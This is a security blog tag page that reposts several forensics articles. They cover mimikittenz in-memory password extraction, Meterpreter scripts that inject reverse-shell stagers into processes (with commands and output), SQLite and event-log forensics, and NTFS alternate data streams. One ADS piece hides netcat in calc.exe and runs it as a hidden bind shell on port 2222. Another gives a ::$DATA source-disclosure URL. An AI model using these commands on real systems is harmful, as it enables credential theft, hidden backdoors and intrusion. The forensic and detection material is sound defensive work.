Banner 1

Mostrando entradas con la etiqueta Forense. Mostrar todas las entradas
Mostrando entradas con la etiqueta Forense. Mostrar todas las entradas

mimikittenz: extracción de contraseñas en claro con ReadProcessMemory()/regex

0 comentarios
mimikittenz de Jamieson O'Reilly aka putterpanda (atentos a su foto de perfil en Github lol!) es una herramienta de post-explotación en powershell/C sharp que utiliza la función de Windows ReadProcessMemory() para extraer contraseñas en claro de varios procesos.

Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.


Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:

Webmail
  •     Gmail
  •     Office365
  •     Outlook Web
Accounting
  •     Xero
  •     MYOB
Remote Access
  •     Juniper SSL-VPN
  •     Citrix NetScaler
  •     Remote Desktop Web Access 2012
Developement
  •     Jira
  •     Github
  •     Bugzilla
  •     Zendesk
  •     Cpanel
IHateReverseEngineers
  •     Malwr
  •     VirusTotal
  •     AnubisLabs
Misc
  •     Dropbox
  •     Microsoft Onedrive
  •     AWS Web Services
  •     Slack
  •     Twitter
  •     Facebook
Además, mimikittenz también puede extraer fácilmente otros tipos de *jugosa* información de procesos utilizando patrones de expresiones regulares que incluyen pero no se limitan a:

- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS
- datos PII
- claves de cifrado y otros

Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:
[mimikittenz.MemProcInspector]::AddRegex("","")

Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:
$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")

Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre

Githubhttps://github.com/putterpanda/mimikittenz

Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.html

Recuperar información eliminada de BBDD SQLite #Forsensics #SQLite #Python

0 comentarios
Buena entrada de mis rss favoritos:


Hace unos años, mientras escribía Hacker Épico, me leía las especificaciones del formato de los ficheros SQLite para ver cómo podía recuperar información eliminada de estos ficheros e incluirlo como parte de uno de los capítulos del libro. Aún estaba lejos de ver el libro terminado, de que llegara el día de la presentación del libro y mucho menos de verlo convertido en un cómic en edición deluxe, pero tenía claro que el libro tenía que aportar investigaciones novedosas para estar al nivel de la trama.

Figura 1: Recuperar información eliminada de una base de datos SQLite

De aquel trabajo de varias semanas, además de los 0days de las cámaras de seguridad que dieron la vuelta al mundo, salió una serie de artículos en Security By Default  dedicados al Análisis Forense de SQLite que dividí en siete partes ([1], [2], [3], [4], [5], [6] y [7]) y una charla sobre ello en Rooted CON 2013 que titulé "Te pique lo que te pique analiza un SQLite". Con todo este trabajo, salió además una herramienta que fue el germen de la web Recover Messages


Figura 2: RootedCON 2013 "Te pique lo que te pique analiza un SQLite"

Esa mini utilidad realmente es un script en Python que recorre el fichero BTree de la base de datos y detecta aquellas secciones marcadas como libres para obtener su contenido. No es perfecta, ya que al igual que ocurre en un sistema de ficheros, hay muchos elementos externos que afectan a la estructura del archivo, como son la inserción (INSERT) de nuevo contenido o la defragmentación (VACUUM) de la base de datos. 

Figura 3: Recuperación de datos de una base de datos SQLite de Skype con RecoverMessages

Debido a su ligero funcionamiento, estas bases de datos son ampliamente usadas en aplicaciones móviles como por ejemplo hace WhatsApp o Twitter para almacenar mensajes. También en aplicaciones de escritorio mucho más complejas, como es el caso de las conversaciones de Skype o las cookies en Firefox. Por eso, se podíautilizar RecoverMessages con SkypeWhatsApp - en la última versión de WhatsApp para iPhone la base de datos sigue sin cifrar - o bases de datos de Twitter.

Figura 4: Estructura general de un fichero SQLite

Pero pese a esas limitaciones y en función al origen del fichero, la herramienta es práctica para encontrar información que tal vez esclarezca un incidente de seguridad durante un proceso de análisis forense que deba realizar un perito, ya que tan solo una cookie recuperada o un trozo de mensaje podría llegar a ser más que suficiente para evidenciar un acontecimiento. 

RecoverSQLite y DumpLite

Que no soy un programador experto no es ningún secreto, así que después de una primera versión llamada "recoversqlite.py", con ayuda de mi amigo WiredRatcreamos él creó una segunda versión mejorada llamada "dumplite", que además de las páginas libres, era capaz de encontrar bytes borrados entre celdas. 

Figura 5: Dumplite en GitHub

El uso es muy sencillo, solo hay que obtener el código de GitHub con gitclone e invocarlo con los parámetros deseados contra el fichero SQLite a analizar. Con la opción -h se muestra la ayuda tal y como se puede ver en esta captura durante una ejecución sobre Kali Linux.

Figura 6: Descarga de dumplite y menú de ayuda de la herramienta

Las propiedades del fichero y sus características se obtienen con el parámetro "-F". Entre las más relevantes, desde una perspectiva de investigación forense, son: (1) El número de páginas libres y (2) La codificación de los textos

Figura 7: accediendo a la información de un fichero SQLite

Para obtener el contenido de las secciones marcadas como libres, tanto en formatoASCII como en hexadecimal, se usa el parámetro "-u"

Figura 8: Volcado de los datos de la base de datos SQLite obtenidas

Como comentaba anteriormente, tras ejecutar la herramienta se obtienen volcados de información y no se recuperan directamente los registros que hayan sufrido un "DELETE" como si nada hubiera pasado. El trabajo debe realizarse luego para ir conectando los datos volcados entre sí y extraer lo que había allí antes de ser eliminado. Espero que os sea de utilidad y cualquier comentario o Commit será bienvenido.

Autor: Alejandro Ramos (@aramosf), escritor del libro "Hacker Épico"

Fuente: http://www.elladodelmal.com/2016/06/recuperar-informacion-eliminada-de-bbdd.html

Forensic Windows Event Logs

0 comentarios
EVT vs EVTX
Windows XP is no longer supported by Microsoft, but there are still XP and 2003 systems out there, and as such, some of us are still going to need to know the difference between Event Logs (XP, 2003), and Windows Event Logs (Vista+).

Besides the binary differences in the records and Event Log files themselves, on XP/2003, there were three main Event Log files; System, Application, and Security.  On my Windows 7 system, a 'dir' of the winevt\Logs folder reports 143 files.  So, there is a LOT of information being recorded by default on a Windows 7 system; while not all of it may be useful to you, there is a great deal of information that can be extracted from the logs when used properly.

Wevtx.bat
When I released Windows Forensic Toolkit 4/e, one of the things included in the additional materials is a batch file, wevtx.bat.  What the batch file does is use LogParser to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline.  The tool evtxparse.exe, used by the batch file, makes use of a mapping file (i.e., eventmap.txt) to map event source/ID pairs to an artifact category tag.  As such, when the entry in written to a timeline, records such as "Microsoft-Windows-Security-Auditing/4624" are prepended with an appropriate tag (i.e., "[Logon]"), based on the artifact category.

I really love this tool!  What I like about it is that it's easy to update (eventmap.txt is just a text file), I can add comments to it to show the source of the information I used to map an event record to something specific, and it acts as a fantastic little repository for all of my past experiences.  Not only is it a great repository, but it's incorporated right into the tools that I use on just about every engagement.

Records
Here are some of the event source/ID pairs that I've found to be useful during investigations, for such things as malware detection, determining the window of compromise, etc.  I'll say up front that these records are not 100% infallible, and may not have extremely high fidelity (some do, others don't...), but they've worked quite well for me at one time or another, so I'll share them here.

Microsoft-Windows-DNS-Client/1014 – DNS name resolution timeout; I've used this one more than once to help demonstrate that malware was on a system, even in the face of anti-forensics techniques (time stomping the malware files, deleting the malware files, etc.). It's not a 100%, infallible indicator, but it's worked for me more than once.  What has also helped is when this event record was seen; in a timeline, I could see that it occurred shortly after a user logged into a laptop, and before the user connected the system to a WAP.  This helped me narrow down the persistence mechanism for the malware.

Microsoft-Windows-Security-Auditing/4720 - user account created; because the bad guys do this from time to time.

McLogEvent/257 – McAfee malware detection - McAfee AV may detect malware behaviors (i.e., run from a Temp folder, etc.) without actually detecting the EXE itself.  This can be very valuable in helping you determine how malware got onto a system.  Also, the AV product may be configured to warn only, and take no action..so, correlate the event records (UTC) to the entries in the McAfee logs (local system time)

Microsoft-Windows-Windows Defender/3004 – Windows Defender malware detection

Service Control Manager/7045 – A service was installed on the system

Service Control Manager/7030 – A service is configured to interact with the desktop

Microsoft-Windows-TaskScheduler/106 - New Scheduled Task registration

Beyond individual event records (source/ID pairs), one of the aspects of the newer versions of Windows (in particular, Windows 7) is that there are a lot of events that are being recorded by default, across multiple Event Log files.  What I mean is that when some events occur, multiple event records are recorded, often across different Event Log files.  For example, when a user logs into a system at the console, there will be an event recorded in the Security Event Log, a couple in the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx log, and a couple of events will also be recorded in the Microsoft-Windows-TaskScheduler/Operational.evtx log.  Alone, each of these individual events may get little attention from an analyst, but when placed together in a timeline, they leave an indelible mark indicating that a user logged into the system.

Now, what's really great about this is that some of the Event Logs "roll over" faster than others.  As such, some of the source/ID pairs that are part of an indicator cluster may have been expired from their respective Event Logs.  However, the remaining source/ID pairs in the cluster will still provide a very good indicator that that event in question took place.  This is particular useful for infrequent events, and I've used this information more than once to demonstrate repeated activity going back weeks and even months prior to what was thought to be the date of interest.

Anti-Forensics
Event auditing is one of those things that just happens in the background on Windows systems.  This is great, because sometimes Event Log records can help us determine if anti-forensics techniques have been employed.  For example, using Event Log records, you can determine if someone has changed the system time.

During an exam, I found that a system had been infected with malware that installed as a Windows service, and during the installation process, the .exe file had been time-stomped.  Fortunately, when the malicious service was installed, an event source/ID pair of "Service Control Manager/7045" was created, indicating that a new service had been installed on the system.  I was able to correlate that information with other sources (MFT, etc.) to better determine the correct time of when the malicious .exe was created on the system, and nail down the infection vector.

Carving
If you need to carve Windows Event Log records, for any reason...from unallocated space, memory, the pagefile, whatever...the tool to use is Willi Ballentin's EVTXtract. The "tool" is really a set of Python scripts that you run consecutively against the data in order to recover Windows Event Log records.  I've used these scripts a couple of times, and even had a fellow team member use them on an engagement and quite literally recover the "smoking gun".

When carving for deleted records on a Windows XP or 2003 system, I use a custom Perl script that I wrote that's based on some of the code I've released with my books.

Timelines
When all this is said and done, a blog post on just individual Windows Event Log records isn't really all that valuable.  Yes, I've created timelines from just a handful of *.evtx files, for use in triage, etc.  This has proved to be extremely valuable to me.

Resources
WindowsIR: Timeline Analysis
SANS Reading Room: Detecting Security Events Using Windows Workstation Event Logs
NSA: Spotting the Adversary with Windows Event Log Monitoring

Fuente: http://windowsir.blogspot.com/2014/10/windows-event-logs.html

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

0 comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each.
OPTIONS:
-h Help menu.
-m Start Exploit multi/handler for return connection
-mp Provide Multiple PID for connections separated by comma one per IP.
-mr Provide Multiple IP Addresses for Connections separated by comma.
-p The port on the remote host where Metasploit is listening (default: 4444)
-pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp
Un ejemplo de ejecución de este script puede ser el siguiente:
meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344
[*] Injecting meterpreter into process ID 628
[*] Allocated memory at address 0x00d60000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 628
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344
[*] Injecting meterpreter into process ID 792
[*] Allocated memory at address 0x003e0000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 792
Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante
meterpreter > run duplicate -h OPTIONS:
-D Disable the automatic multi/handler (use with -r to accept on another system)
-P Process id to inject into; use instead of -e if multiple copies of one executable are running.
-e Executable to inject into. Default notepad.exe, will fall back to spawn if not found.
-h This help menu
-p The port on the remote host where Metasploit is listening (default: 4546)
-r The IP of a remote Metasploit listening for the connect back
-s Spawn new executable to inject to. Only useful with -P.
-w Write and execute an exe instead of injecting into a process
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444
[*] Running payload handler
[*] Current server process: sgiByfbLo.exe (1780)
[*] Duplicating into notepad.exe…
[*] Injecting meterpreter into process ID 3884
[*] Allocated memory at address 0x00e10000, for 290 byte stager
[*] Writing the stager into memory…
[*] New server process: 3884
Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado
meterpreter > run process_memdump -h USAGE:
EXAMPLE: run process_dump putty.exe
EXAMPLE: run process_dump -p 1234
OPTIONS:
-h Help menu.
-n Name of process to dump.
-p PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Un ejemplo del uso de este script puede ser:
meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe
[*] Dumping Memory of iexplore.exe with PID: 556
[*] base size = 64
[*] base size = 128
[*] base size = 192
[*] base size = 1224
[*] base size = 1228
[*] base size = 1280
[*] base size = 1344
[*] base size = 2368
[*] base size = 2432
[*] base size = 2496
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp


Fuente: http://thehackerway.com/2011/06/10/359/

Análisis forense a dispositivos USB

0 comentarios
Buenas.

Revisando las diapositivas de las presentaciones del SANS DFIR Summit 2014, encontré uno muy bueno relacionado con el análisis forense de dispositivos USB, en este caso usando las nuevas clases de almacenamiento USB como por ejemplo la MTP que usa samsung en su gama media/alta, para ver a manera general su comportamiento podemos observar las siguientes imágenes:


MSC Device in Windows XP

PTP Device in Windows XP

PTP Device in Windows 7

MTP Device in Windows 7
MTP Mounted Partitions

Windows7-USBChangesFirstInsert

El estudio completo lo pueden obtener en el link de la fuente donde ha desarrollado varios post bien explicados sobre las distintas formas de realizar el estudio forense y la diapositiva del link que dejo a continuación

Se puede descargar del siguiente link -> USB Devices Media Transfer Protocol.

Fuente: http://nicoleibrahim.com/part-2-usb-device-research-msc-vs-ptp-vs-mtp/

Hide Data in a Secret Text File Compartment

0 comentarios

In today’s edition of Stupid Geek Tricks (where we show off little-known tricks to impress your non-geek friends), we’ll learn how to hide data in a text file that can’t be seen by anybody else unless they know the name of the secret compartment.
Note: This article was originally written a couple of years ago, but we’ve updated and polished it for Windows 7, and we’re sharing it with all the new readers again.

Here’s How it Works

Ever since Windows 2000, the NTFS file system in Windows has supported Alternate Data Streams, which allow you to store data “behind” a filename with the use of a stream name. It’s not detectable while browsing the file system, or anywhere within Windows… you can only access it with the “secret key” which is really just the name of the stream.
image
You can think of these extra streams as secret compartments within the file that can only be accessed if you know the “secret code,” which in this case is just the name of the stream.
This isn’t a completely secure way to hide data as we’ll illustrate below, but it’s a fun trick to know about in a pinch.
Note: This only works on a drive formatted with NTFS.

Hiding Data in a Secret Compartment

In order to use this feature, you’ll have to open a command prompt and use the following syntax:
notepad SomeFile.txt:SecretWordHere.txt
You can use anything after the colon as a secret word, the key is that there can’t be any spaces between the first filename and the colon.
image
If you didn’t specify .txt on the end, Notepad will automatically add it, and ask if you want to create a new file, even if SomeFile.txt already existed, because SecretSquirrel!.txt doesn’t already exist.
image
Now you can enter in whatever data you want here and save the file:
image
When you look at the file, it will still be the exact same size as before:
image
You can even open up the file by double-clicking on it, and add whatever data you want to make the file look normal:
image
You can use the command line again to add a second hidden “compartment” with a different name:
image
You can add whatever other information to this file that you’d like:
image
None of these hidden files will affect the other, or change the main file. Just remember, you have to use the command line to access the hidden data.
Note: Once you create a hidden stream, that stream isn’t exactly part of the file… you can’t copy your file to another location and access the streams over there.

Detecting Files with Streams

Of course these files aren’t completely hidden from everybody, because you can use a small command line application called Streams.exe to detect files that have streams, including the names of the streams.
For instance, in my scenario we’d use the following syntax:
streams.exe SomeFile.txt
image
As you can see, the names of the streams are shown, which would allow you to easily access them.
If you’re using Windows 7, you can simply use the /R argument to the DIR command to see the streams:
image

Deleting Streams

You can use the same Streams.exe command to delete all streams from a file, although I don’t think you can delete just a single stream. Use the following syntax:
streams.exe -d SomeFile.txt
image
As you can see in the screenshot, the streams are now removed from the file.

Adding to Hidden Streams from the Command Line

You can add data to a hidden stream by using a number of commands, or really anything that can pipe input or output and accept the standard FileName:StreamName syntax. For instance, we could use the echo command:
echo “Neat!” > SomeFile.txt:Test
image
You can see with the streams command in the example above that we now have a hidden stream on the file.

Reading a Stream From the Command Line

You can read data from the stream by piping data into the more command, using this syntax:
more < FileName:StreamName
In my example the actual command was this:
more < SomeFile.txt:SecretSquirrel!.txt
image
As you can see, the secret data that we added is outputted to the console.

Of course, this isn’t a secure way to hide data—for that you should use TrueCrypt. It’s just one of those things that can be fun to use and might come in handy here or there.
Learning is fun, isn’t it?

Fuente: http://www.howtogeek.com/howto/windows-vista/stupid-geek-tricks-hide-data-in-a-secret-text-file-compartment/

NTFS Alternate Data Streams: Hiding data in plain sight since 1993

0 comentarios
I recently read an article in the Hackin9 magazine (worth taking a look if you haven’t heard about it) about alternate data streams (ADS) in NTFS. I had heard about this hidden feature in NTFS a long time ago actually, but over the years forgot about its existence again.

Background
In a nutshell, the NTFS file system, which was introduced with Windows NT 3.1, supports ADS – sometimes also referred to as “hidden streams”. This means that you can attach or associate any number of files to an existing file, yet those files will not be visible to the vast majority of file management applications – including explorer and the “dir” command (Vista can show ADS with a parameter). One thing I find interesting about streams is that a lot of people in IT do not seem to
know about them, even people otherwise very familiar with the Windows
Operating System.
Now, streams are created and accessed by appending the “host” file name with a colon, followed by the name of the stream. Let’s say you want to create a text file called financials.txt and hide it with winhelp.exe, you would run notepad C:\Windows\winhelp.exe:financials.txt. This will bring up notepad which will prompt you to create the file since it doesn’t exist (since the alternate stream is basically a file). You can then save any text in the hidden file and save it. You will notice that the file you just created will not show up when you do a directory list (dir C:\Windows) and will also not show up in the Windows Explorer. Note that the timestamp of the host file will change however.
Now there are of course a variety of utilities that have been developed in the last 15 (!) years that will allow you to find hidden streams, but more on that later. Hidden streams still exist on Vista and later, though the feature seems to have become more restrictive.
There are apparently no limits as to how many streams one can associate with a file, or the type of file that can be associated. This means that you can associate an executable as much as you can an ASCII file. There are however some limitations as to how user mode applications (e.g. notepad) can access hidden streams.
Let’s go back to the previous example where we created the file financials.txt in winhelp.exe. If you open a command prompt and execute type C:\Windows\winhelp.exe:financials.txt, then you will not be able to see the contents of the hidden file. If you use notepad instead however, you will be able to see the file (notepad C:\Windows\winhelp.exe:financials.txt). This is probably because cmd.exe and its built-in commands up until Windows XP are not aware of alternate streams. ON a Windows XP machine I also could not open that same file if I tried to open it from inside notepad with the File -> Open command.

Creating Streams
Things get more interesting when you attach executables to files – and execute them! Let’s say I wanted to hide popular windows game solitaire inside the file C:\Windows\wganotify.log and call the stream “calc.exe”. Here is what you do:
type system32\sol.exe > C:\Windows\WgaNotify.log:calc.exe
start C:\windows\WgaNotify.log:calc.exe

Auditing Alternate Data Streams
Those of you interested in auditing will probably wonder how Windows tracks access to hidden streams in the event log. Well, there is good and bad news. The bad news is that object tracking (the famous event 560) does not show hidden streams, and instead only shows the “host” file name being accessed. Process Tracking on the other hand shows hidden streams in the expected manner. For the above example, a 592 event will show that file C:\windows\WgaNotify.log:calc.exe was executed.

Exploiting Streams
Scary, huh? This opens up a can of worms when you think about malware hiding inside otherwise innocent files – such as a log file. At appears as if most AntiVirus products do not detect hidden streams, at the same time there doesn’t seems to be a significant number of mainstream malware applications out there are that rely on hidden streams. I’m not sure why that is, since this feature seems almost too good to be true for the writer of any malicious applications. One reason might be that malware writers mostly target home machines, and many of those computers are still formatted with the FAT(32) file system, which of course doesn’t support ADS. This might change over time though, as more (home) computers use NTFS as their file system.
So after reading up on ADS, playing around with it last week, scanning my computer for hidden streams, I arrived at the inevitable question: What is the higher purpose of Alternate Data Streams? I mean, many applications don’t support it, most people don’t know about it, and a scan didn’t reveal any hidden streams besides a couple inside some Microsoft installers that apparently use them as some sort of meta data.
As it turns out, ADS was created for compatibility with the Macintosh HFS file system, which uses a data fork and resource fork to store data in a file (OS X now uses the HFS+ file system). But over the years (it’s been 15 after all) some developers at Microsoft decided to utilize this feature. For example, when you specify summary information about a file (right-click -> properties -> summary), then this information will be stored in ADS.
As mentioned earlier, there have been some improvements in regards to ADS with Vista and later. Vista can now show alternate streams with the /R switch of the “dir” command. My preliminary research also shows that hidden streams can no longer be executed in Vista or later – so what we did in the above example will not work. I think that’s a good thing, since there really is no practical reason (unless you develop malware) to do this. The screen shot below shows the output of a regular dir command and the dir /R command on a Windows 2008 server (note the file setupact.log).
ADS_Win2k8.jpgIn my humble opinion, Microsoft should get rid of alternate streams in future versions of Windows, and instead come up with some sort of structured way of embedding meta data in files. Anything contained in meta data should be non-executable and limited in size, e.g. 256kb.

Discovering Streams

So what does all this mean for you, the person responsible for security in your network? How can you find hidden streams and detect if streams are being added to files?
There are many free third-party utilities out there that show and manipulate hidden streams, but the discovery of this feature led us to extend the functionality of the File Monitoring feature of EventSentry to include the automatic detection of hidden streams in real-time. This means that any stream added, modified or removed from a file in a monitored location will be detected by EventSentry.
We have also developed a new command-line tool, adslist.exe, that will list all alternate data streams on a directory and optionally its sub directories. The tool is part of the NTToolkit v1.96 and I recommend that you schedule to run this tool with the Application Scheduler feature of EventSentry on a regular basis, or schedule it with the Windows Task Scheduler and email the results (adslist.exe C:\ /s). The advantage of using EventSentry is that the results of adslist.exe can automatically be emailed to you only if alternate streams were found. You can do this because the %ERRORLEVEL% is set to 1 by adslist.exe when one or more streams are found. The screenshot below shows what this would look like in the email sent by EventSentry:
EventSentry_ApplicationScheduler_ADSList.pngManipulating StreamsWhile Microsoft doesn’t offer a tool to search for and discover alternate data streams, they do offer a good explorer-extension that allows you to view and delete alternate data streams. You can download it from http://download.microsoft.com/do
wnload/F/C/6/FC6943EB-790A-44AA-B32D-14ED7E22FD5D/NTFSExt.exe
, the zip file contains the source code as well as another utility to create hard links on NTFS volumes. After extracting the archive, navigate to the \StrmExt\ReleaseMinDependency folder and run regsvr32 StrmExt.dll. You will then have an additional tab when viewing file properties in explorer called “Streams”:
StrmExt.jpgAnother way to get rid of hidden streams is to copy a file to a FAT[32] volume and then back to the NTFS volume, or – if you don’t have a FAT[32] volume available – simply compress and uncompress the file again.
Well, I hope this gives you a better understanding of alternate data streams, even if you were already familiar with them. Like I mentioned earlier, it doesn’t appear as if ADS is used for evil in a large scale quite yet (so no reason to panic!), but I believe it is better to be safe than sorry.

Fuente: http://www.eventsentry.com/blog/2008/07/ntfs-alternate-data-streams-hi.html

Dissecting NTFS Hidden Streams

0 comentarios
by Chetan Gupta
NII Consulting, Mumbai
www.niiconsulting.com

Cyber Forensics is all about finding data where it is not supposed to exist. It is about keeping the mind open, thinking like the evil attacker and following the trails taking into account any potential source of evidence. After the analyst has created the disk image of the suspect disk, he needs to analyze the file system for any signs of compromise. The most popular file systems encountered by the analysts are FAT, NTFS, UFS, EXT, and CDFS. Most of the workstations use Microsoft Windows as their preferred Operating System and use NTFS as the file system of choice. I am not going to go into the details of this robust and secure file system but I would be talking about a particular feature of this file system which was designed to offer compatibility with Macintosh Hierarchical File System (HFS) and store additional data called metadata for a file. This feature is known as ALTERNATE DATA STREAMS (ADS).
The Macintosh file system stores its data in two parts, the resource fork and the data fork. The data fork is where the data is actually contained and the resource fork tells the operating system how to interpret the data fork. Alternate Data Streams is the Microsoft way of implementing resource fork. The ADS is a hidden stream in addition to the regular data stream which contains the main data for the file. This hidden stream contains metadata for the file such as the file access/modification times, attributes etc. However, in Windows, the operating system decides how to use the particular data found in the files based on file extensions such as .bat, .exe, .txt, and .html.
Background
ADS were introduced into the Windows NTFS file system starting in Windows NT 3.1. This feature is not well documented and most users including developers are unaware of it. Now the question is why Microsoft would introduce such a feature. The answer to that would be the need to add "extra" information to the files without altering the original file format or content. This extra information is the metadata about the file. This metadata is arranged in the form of streams that attach to the main data stream (the stream which is visible to a normal user). For example, one file stream could hold the security information for the file such as access permissions while another one could hold data that describes the purpose of the file, its author and the MAC times.
These metadata containing streams are hidden files that are linked to a normal visible file. Many applications use ADS to store attributes of a file in them. For example, if you create a word document and right click and go into its properties, you can see a summary page which contains information that contains metadata about the data contained in the file. The metadata includes the author of the document, word count, no of pages and so on. This summary information is attached to the file via ADS.

Figure1. The summary tab displaying metadata

Quoting Microsoft,
"When you read the content of a file under a non-NTFS volume (say, a disk partition of a Windows 98 machine) you're able to access only one stream of data. Consequently, you perceive it as the real and 'unique' content for that file. Such a main stream has no name and is the only one that a non-NTFS file system can handle. However when you create a file on an NTFS volume, things might be different."

Figure2. The structure of a multi-stream file
Ref. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp

10 Things to know about ADS
1. There is no limit on the size of streams and there can be more than one stream linked to a normal file. ADS are not visible in explorer or via command prompt. In fact, their size is also not reported by Windows!
2. Streams can be attached not only to files but also to folders and drives!
3. The content of an ADS should not be considered limited to simply text data. Any stream of binary information can constitute a file which includes executables, Mpeg files, Jpeg files etc.
4. ADS have no attributes of their own. The access rights assigned to the default unnamed stream are the rights that control any operation on ADSs such as creation, deletion or modification. This means if a user cannot write to a file, that user cannot add an ADS to that file. A user with guest privileges can also create such streams in every file where he has write access.
5. Some Browser helper Objects (BHOs) have started storing their malicious files inside ADS and very few anti-spyware/malware actually detect it.
6. Windows File Protection prevents the replacement of protected system files; it does not prevent a user with the appropriate permissions from adding ADS to those system files. The System File Checker (sfc.exe) will verify that protected system files have not been overwritten, but will not detect ADS.
7. Microsoft Windows provides no tools or utilities either within the operating system software distribution or the Resource Kits for detecting the presence of ADS.
8. The stream can only be executed if called directly by a program with the full path to the file given. It is impossible to accidentally execute a stream.
9. None of the Internet protocols enabling file transfer such as SMTP, FTP etc. support streams. This means that ADS can't be sent via Internet. However, files containing ADS can be sent across a local LAN provided the target drive is in the NTFS format.
10. In certain cases, streams have been used to remotely exploit a web server. Some web servers are susceptible to having their file source read via the: $DATA stream. If a server side script such as PHP or ASP is running on a web server which is not patched properly, instead of getting output as a result of processing the script, the source code of the ASP/PHP file could be viewed by using a URL like this:
http://www.abcd.com/index.asp::$DATA
This is a critical vulnerability as the server-side source code could reveal sensitive information including how the site has been coded and how the information is flowing. This information could be used by the attacker to launch a specific attack on the server.

How to create ADS
To create ADS, we can use common DOS command 'type'. This command is used in conjunction with a redirect [>] and colon [:] to fork one file into another.
Examples
1. C:\Documents and Settings\CnX>type c:\nc.exe > C:\windows\system32\calc.exe:svchost.exe
2. echo 'the password is xlswwe22' > c:\tst.txt:test.txt
Let's examine a scenario in which an attacker successfully compromises a remote system and then leaves a backdoor by planting Netcat in the machine. He does not want to create a visible file which has a greater risk of being detected. Instead, he is aware that the file system used by the computer is NTFS and intends to use the ADS feature to hide his files. He runs a command to cleverly hide Netcat (nc.exe also known as Swiss Army knife tool for hackers) into calc.exe which is the Windows integrated calculator program.
Also, he changes the file name from nc.exe to a relatively more common process called svchost.exe which may help in it being overlooked by innocent administrators.
C:\Documents and Settings\CnX>type c:\nc.exe > C:\windows\system32\calc.exe:svchost.exe
He then runs the following command:
C:\Documents and Settings\CnX> start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe
Important note: The /B option allows the attacker to run the command without spawning a new window (which could alert the user that something is going on without his knowledge)
Now, this is very dangerous as the attacker has bound a shell on port 2222 and can get access to the system anytime he wants by performing a simple telnet on the port 2222.
As you can see from the snapshot, there is no change in the size of the calc.exe. The only visible change is in the modification date and time of the calc.exe program which is overlooked by many users. More importantly, I have run the famous system file checker utility inbuilt in Windows.
This utility will check whether any of the system files have been modified. This feature is called as the Windows File Protection feature. Ideally, if a system file is changed, the WFP feature will replace it with the original file and this would be logged in the event viewer with an event id of 64002 and a message like this:
File replacement was attempted on the protected system file calc.exe. This file was restored to the original version to maintain system stability. The file version of the system file is 5.1.2600.0.
But as you can see from the snapshot, the sfc.exe utility doesn't report anything!
I then run the netstat utility to show that the port 2222 was indeed listening for a connection and would return a shell when the attacker performs a telnet to the system on port 2222. And don't forget that the listener created a persistent listener and would continue to listen on the port even after one connection is closed (thanks to the -L option of Netcat)!

Figure3. ADS Demonstration
